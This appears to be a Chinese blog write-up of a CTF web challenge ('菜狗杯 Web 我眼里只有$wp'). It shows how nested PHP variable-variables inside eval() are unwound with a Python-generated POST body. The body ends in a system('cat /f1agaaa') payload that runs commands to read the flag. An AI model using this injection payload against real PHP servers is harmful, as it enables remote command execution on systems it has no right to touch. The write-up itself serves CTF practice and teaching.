菜狗杯Web_我眼里只有$wp

原题:
菜狗杯Web_我眼里只有$wp_第1张图片
虽然不太会php,但看了题目很容易联想到是想要把这么多的$符号都给抵消掉,可以先用Python看一下有多少个$,得知一共是36个$,那我们搞出36个变量就好啦,而且外面套的函数是eval(),那就让最后一个变量用于执行命令。
具体思路就是把上一个变量赋值给下一个变量,直到第36个变量,给它赋值为想要执行的命令,并且从原题的php中可以看到,需要用post方法传参。
因为变量太多,所以还是借助Python生成一下,题目给出的$_可以看做a0,我们生成从a1到a35,最后添上a35的值。
浅写这么三行Python:

s='_'
for i in range(1,36):
    s+='='+'a'+str(i)+'&'+'a'+str(i)

运行效果如下:
菜狗杯Web_我眼里只有$wp_第2张图片
把上面得到的字符串放到POST请求报文的报文体中,并在最后添加变量a35的值(即想要执行的命令)。

先浅试一下ls命令查看下根目录,看到有f1agaaa:
菜狗杯Web_我眼里只有$wp_第3张图片
把命令换成cat /f1agaaa即可回显出flag:
菜狗杯Web_我眼里只有$wp_第4张图片
payload如下:

_=a1&a1=a2&a2=a3&a3=a4&a4=a5&a5=a6&a6=a7&a7=a8&a8=a9&a9=a10&a10=a11&a11=a12&a12=a13&a13=a14&a14=a15&a15=a16&a16=a17&a17=a18&a18=a19&a19=a20&a20=a21&a21=a22&a22=a23&a23=a24&a24=a25&a25=a26&a26=a27&a27=a28&a28=a29&a29=a30&a30=a31&a31=a32&a32=a33&a33=a34&a34=a35&a35=system(‘cat /f1agaaa’);

注意最后有分号!
ps:因为写博客时候环境过期了所以重新开了一个,导致两张burp的截图里域名不一样

你可能感兴趣的:(备战CTF中遇到的题目,网络安全,web安全,http,python)